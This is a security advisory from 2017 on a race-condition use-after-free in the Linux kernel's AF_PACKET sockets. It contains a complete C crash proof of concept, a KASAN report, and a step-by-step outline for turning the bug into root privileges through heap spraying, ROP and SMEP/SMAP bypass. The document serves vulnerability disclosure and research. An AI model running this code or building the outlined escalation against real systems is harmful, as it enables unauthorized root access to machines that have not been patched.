SSD Advisory – Linux Kernel AF_PACKET Use-After-Free

blogs.securiteam.com/index.php/archives/3484

SSD / Maor Schwartz October 17, 2017

Vulnerabilities summary
The following advisory describes a use-after-free vulnerability found in Linux Kernel's implementation of AF_PACKET that can lead to privilege escalation.

AF_PACKET sockets "allow users to send or receive packets on the device driver level. This for example lets them to implement their own protocol on top of the physical layer or to sniff packets including Ethernet and higher levels protocol headers"

Credit
The vulnerability was discovered by an independent security researcher which reported this vulnerabilities to Beyond Security's SecuriTeam Secure Disclosure program.

Vendor response
"It is quite likely that this is already fixed by:
packet: hold bind lock when rebinding to fanout hook – http://patchwork.ozlabs.org/patch/813945/

Also relevant, but not yet merged is
packet: in packet_do_bind, test fanout with bind_lock held – http://patchwork.ozlabs.org/patch/818726/

We verified that this does not trigger on v4.14-rc2, but does trigger when reverting that first mentioned commit (008ba2a13f2d)."

Vulnerabilities details

This use-after-free is due to a race condition between *fanout_add* (from setsockopt) and bind on a AF_PACKET socket.

The race will cause *__unregister_prot_hook()* from *packet_do_bind()* to set *po->running* to 0 even though a *packet_fanout* has been created from *fanout_add()*.

This allows us to bypass the check in *unregister_prot_hook()* from *packet_release()* effectively causing the *packet_fanout* to be released and still being referenced from the *packet_type* linked list.

Crash Proof of Concept

```
1   // Please note, to have KASAN report the UAF, you need to enable it when compiling the kernel.
2   // the kernel config is provided too.
3
4   #define _GNU_SOURCE
5
6   #include <stdio.h>
7   #include <stdlib.h>
8   #include <string.h>
9   #include <unistd.h>
10  #include <sys/types.h>
11  #include <sys/socket.h>
12  #include <sys/ioctl.h>
13  #include <net/if.h>
14  #include <pthread.h>
```

```
15  #include <sys/utsname.h>
16  #include <sched.h>
17  #include <stdarg.h>
18  #include <stdbool.h>
19  #include <sys/stat.h>
20  #include <fcntl.h>
21
22  #define IS_ERR(c, s) { if (c) perror(s); }
23
24  struct sockaddr_ll {
25  unsigned short sll_family;
26  short sll_protocol; // big endian
27  int sll_ifindex;
28  unsigned short sll_hatype;
29  unsigned char sll_pkttype;
30  unsigned char sll_halen;
31  unsigned char sll_addr[8];
32  };
33
34  static int fd;
35  static struct ifreq ifr;
36  static struct sockaddr_ll addr;
37
38  void *task1(void *unused)
39  {
40  int fanout_val = 0x3;
41
42  // need race: check on po->running
43  // also must be 1st or link wont register
44  int err = setsockopt(fd, 0x107, 18, &fanout_val, sizeof(fanout_val));
45  // IS_ERR(err == -1, "setsockopt");
46  }
47
48  void *task2(void *unused)
49  {
50  int err = bind(fd, (struct sockaddr *)&addr, sizeof(addr));
51  // IS_ERR(err == -1, "bind");
52  }
53
54  void loop_race()
55  {
56  int err, index;
57
58  while(1) {
59  fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
60  IS_ERR(fd == -1, "socket");
61
62  strcpy((char *)&ifr.ifr_name, "lo");
63  err = ioctl(fd, SIOCGIFINDEX, &ifr);
64  IS_ERR(err == -1, "ioctl SIOCGIFINDEX");
65  index = ifr.ifr_ifindex;
```

```
66
67    err = ioctl(fd, SIOCGIFFLAGS, &ifr);
68    IS_ERR(err == -1, "ioctl SIOCGIFFLAGS");
69
70    ifr.ifr_flags &= ~(short)IFF_UP;
71    err = ioctl(fd, SIOCSIFFLAGS, &ifr);
72    IS_ERR(err == -1, "ioctl SIOCSIFFLAGS");
73
74    addr.sll_family = AF_PACKET;
75    addr.sll_protocol = 0x0; // need something different to rehook && 0 to skip register_prot_hook
76    addr.sll_ifindex = index;
77
78    pthread_t thread1, thread2;
79        pthread_create (&thread1, NULL, task1, NULL);
80        pthread_create (&thread2, NULL, task2, NULL);
81
82        pthread_join(thread1, NULL);
83        pthread_join(thread2, NULL);
84
85    // UAF
86    close(fd);
87    }
88    }
89
90    static bool write_file(const char* file, const char* what, ...) {
91    char buf[1024];
92    va_list args;
93    va_start(args, what);
94    vsnprintf(buf, sizeof(buf), what, args);
95    va_end(args);
96    buf[sizeof(buf) - 1] = 0;
97    int len = strlen(buf);
98
99    int fd = open(file, O_WRONLY | O_CLOEXEC);
100   if (fd == -1)
101   return false;
102   if (write(fd, buf, len) != len) {
103   close(fd);
104   return false;
105   }
106   close(fd);
107   return true;
108   }
109
110   void setup_sandbox() {
111   int real_uid = getuid();
112   int real_gid = getgid();
113
114   if (unshare(CLONE_NEWUSER) != 0) {
115   printf("[!] unprivileged user namespaces are not available\n");
116   perror("[-] unshare(CLONE_NEWUSER)");
```

```
117  exit(EXIT_FAILURE);
118  }
119  if (unshare(CLONE_NEWNET) != 0) {
120  perror("[-] unshare(CLONE_NEWUSER)");
121  exit(EXIT_FAILURE);
122  }
123
124  if (!write_file("/proc/self/setgroups", "deny")) {
125  perror("[-] write_file(/proc/self/set_groups)");
126  exit(EXIT_FAILURE);
127  }
128  if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
129  perror("[-] write_file(/proc/self/uid_map)");
130  exit(EXIT_FAILURE);
131  }
132  if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
133  perror("[-] write_file(/proc/self/gid_map)");
134  exit(EXIT_FAILURE);
135  }
136  }
137
138  int main(int argc, char *argv[])
139  {
140  setup_sandbox();
141  system("id; capsh --print");
142  loop_race();
143  return 0;
144  }
```

Crash report

```
1    [   73.703931] dev_remove_pack: ffff880067cee280 not found
2    [   73.717350] ==================================================================
3    [   73.726151] BUG: KASAN: use-after-free in dev_add_pack+0x1b1/0x1f0
4    [   73.729371] Write of size 8 at addr ffff880067d28870 by task poc/1175
5    [   73.732594]
6    [   73.733605] CPU: 3 PID: 1175 Comm: poc Not tainted 4.14.0-rc1+ #29
7    [   73.737714] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.1-1ubuntu1 04/01/2014
8    [   73.746433] Call Trace:
9    [   73.747985]  dump_stack+0x6c/0x9c
10   [   73.749410]  ? dev_add_pack+0x1b1/0x1f0
11   [   73.751622]  print_address_description+0x73/0x290
12   [   73.753646]  ? dev_add_pack+0x1b1/0x1f0
13   [   73.757343]  kasan_report+0x22b/0x340
14   [   73.758839]  __asan_report_store8_noabort+0x17/0x20
15   [   73.760617]  dev_add_pack+0x1b1/0x1f0
16   [   73.761994]  register_prot_hook.part.52+0x90/0xa0
17   [   73.763675]  packet_create+0x5e3/0x8c0
18   [   73.765072]  __sock_create+0x1d0/0x440
19   [   73.766030]  SyS_socket+0xef/0x1b0
20   [   73.766891]  ? move_addr_to_kernel+0x60/0x60
```

```
[   73.769137]  ? exit_to_usermode_loop+0x118/0x150
[   73.771668]  entry_SYSCALL_64_fastpath+0x13/0x94
[   73.773754] RIP: 0033:0x44d8a7
[   73.775130] RSP: 002b:00007ffc4e642818 EFLAGS: 00000217 ORIG_RAX: 0000000000000029
[   73.780503] RAX: ffffffffffffffda RBX: 00000000004002f8 RCX: 000000000044d8a7
[   73.785654] RDX: 0000000000000011 RSI: 0000000000000003 RDI: 0000000000000011
[   73.790358] RBP: 00007ffc4e642840 R08: 00000000000000ca R09: 00007f4192e6e9d0
[   73.793544] R10: 0000000000000000 R11: 0000000000000217 R12: 000000000040b410
[   73.795999] R13: 000000000040b4a0 R14: 0000000000000000 R15: 0000000000000000
[   73.798567]
[   73.799095] Allocated by task 1360:
[   73.800300]  save_stack_trace+0x16/0x20
[   73.802533]  save_stack+0x46/0xd0
[   73.803959]  kasan_kmalloc+0xad/0xe0
[   73.805833]  kmem_cache_alloc_trace+0xd7/0x190
[   73.808233]  packet_setsockopt+0x1d29/0x25c0
[   73.810226]  SyS_setsockopt+0x158/0x240
[   73.811957]  entry_SYSCALL_64_fastpath+0x13/0x94
[   73.814636]
[   73.815367] Freed by task 1175:
[   73.816935]  save_stack_trace+0x16/0x20
[   73.821621]  save_stack+0x46/0xd0
[   73.825576]  kasan_slab_free+0x72/0xc0
[   73.827477]  kfree+0x91/0x190
[   73.828523]  packet_release+0x700/0xbd0
[   73.830162]  sock_release+0x8d/0x1d0
[   73.831612]  sock_close+0x16/0x20
[   73.832906]  __fput+0x276/0x6d0
[   73.834730]  ____fput+0x15/0x20
[   73.835998]  task_work_run+0x121/0x190
[   73.837564]  exit_to_usermode_loop+0x131/0x150
[   73.838709]  syscall_return_slowpath+0x15c/0x1a0
[   73.840403]  entry_SYSCALL_64_fastpath+0x92/0x94
[   73.842343]
[   73.842765] The buggy address belongs to the object at ffff880067d28000
[   73.842765]  which belongs to the cache kmalloc-4096 of size 4096
[   73.845897] The buggy address is located 2160 bytes inside of
[   73.845897]  4096-byte region [ffff880067d28000, ffff880067d29000)
[   73.851443] The buggy address belongs to the page:
[   73.852989] page:ffffea00019f4a00 count:1 mapcount:0 mapping:          (null) index:0x0 compound_mapcount:
0
[   73.861329] flags: 0x100000000008100(slab|head)
[   73.862992] raw: 0100000000008100 0000000000000000 0000000000000000 0000000180070007
[   73.866052] raw: dead000000000100 dead000000000200 ffff88006cc02f00 0000000000000000
[   73.870617] page dumped because: kasan: bad access detected
[   73.872456]
[   73.872851] Memory state around the buggy address:
[   73.874057]  ffff880067d28700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.876931]  ffff880067d28780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.878913] >ffff880067d28800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.880658]                                                ^
```

```
[   73.884772] ffff880067d28880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.890978] ffff880067d28900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.897763] ==================================================================
```

We know that the freed object is a kmalloc-4096 object:

```
struct packet_fanout {
possible_net_t net;
unsigned int num_members;
u16 id;
u8 type;
u8 flags;
union {
atomic_t rr_cur;
struct bpf_prog __rcu *bpf_prog;
};
struct list_head list;
struct sock *arr[PACKET_FANOUT_MAX];
spinlock_t lock;
refcount_t sk_ref;
struct packet_type prot_hook ____cacheline_aligned_in_smp;
};
```

and that its *prot_hook* member is the one being referenced in the packet handler when registered via *dev_add_pack()* from *register_prot_hook()* inside *af_packet.c*:

```
struct packet_type {
__be16 type; /* This is really htons(ether_type). */
struct net_device *dev; /* NULL is wildcarded here      */
int (*func) (struct sk_buff *,
struct net_device *,
struct packet_type *,
struct net_device *);
bool (*id_match)(struct packet_type *ptype,
    struct sock *sk);
void *af_packet_priv;
struct list_head list;
};
```

The function pointers inside of struct packet_type, and the fact it is in a big slab (kmalloc-4096) makes heap spraying easier and more reliable as bigger slabs are less often used by the kernel.

We can use usual kernel heap spraying to replace the content of the freed *packet_fanout* object by using for example *sendmmsg()* or any other mean.

Even if the allocation is not permanent, it will still replace the targeted content in *packet_fanout* (ie. the function pointers) and due to the fact that *kmalloc-4096* is very stable, it is very less likely that another allocation will corrupt our payload.

id_match() will be called when sending a *skb* via *dev_queue_xmit()* which can be reached via a *sendmsg* on a *AF_PACKET* socket. It will loop through the list of packet handler calling *id_match()* if not NULL. Thus, we have a PC control situation.

Once we know where the code section of the kernel is, we can pivot the kernel stack into our fake *packet_fanout* object and ROP. The first argument *ptype* contains the address of the *prot_hook* member of our fake object, which allows us to know where to pivot.

Once into ROP, we can jump into *native_write_c4(x)* to disable SMEP/SMAP, and then we could think about jumping back into a userland mmaped executable payload that would call *commit_creds(prepare_kernel_cred(0))* to elevate our user process privilege to root.